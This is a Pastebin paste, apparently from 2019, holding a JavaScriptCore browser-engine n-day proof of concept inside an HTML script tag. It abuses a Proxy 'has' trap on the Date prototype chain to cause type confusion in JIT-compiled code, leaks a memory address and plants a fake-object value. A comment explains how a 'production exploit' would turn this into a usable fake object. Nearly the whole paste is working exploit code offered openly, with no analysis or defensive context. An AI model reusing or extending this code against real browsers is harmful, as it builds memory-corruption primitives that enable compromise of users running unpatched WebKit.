Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2019
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. <script>
  2. /*
  3.  
  4. JSC nday found by accident, no idea what commit fixed this or when this got fixed but it appears it's a recent one
  5.  
  6. ~qwertyoruiop 2019
  7.  
  8. */
  9.  
  10.  
  11. let s = new Date();
  12. let confuse = new Array(13.37,13.37);
  13. s[0] = 1;
  14. let hack = 0;
  15. Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {has: function() {
  16. if (hack) {
  17. // alert("side effect");
  18. confuse[1] = {};
  19. }
  20. }}); // this doesn't trigger type conversion of |s| into SlowPutArrayStorage
  21.  
  22. function victim(oj,f64,u32,doubleArray) {
  23. doubleArray[0];
  24. let r = 5 in oj;
  25. f64[0] = f64[1] = doubleArray[1];
  26. u32[2] = 0x41414141;
  27. u32[3] = 0;
  28. // u32[2] += 0x18; < you'd use this for an actual production exploit in order to get a fake object rather than using 0x41414141
  29. doubleArray[1] = f64[1];
  30. return r;
  31. }
  32.  
  33. let u32 = new Uint32Array(4);
  34. let f64 = new Float64Array(u32.buffer);
  35.  
  36. for(let i=0; i<50000; i++) victim(s,f64,u32,confuse); // JIT compile
  37. setTimeout(function(){
  38. hack = 1;
  39. victim(s,f64,u32,confuse);
  40. if (u32[1] === 0x7ff80000) {
  41. alert("failed");
  42. return;
  43. }
  44. alert("infoleak: " + f64[0] + " (hex: 0x" + (u32[0]+u32[1]*0x100000000).toString(16) + ")");
  45. confuse[1][0];
  46. },50);
  47. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement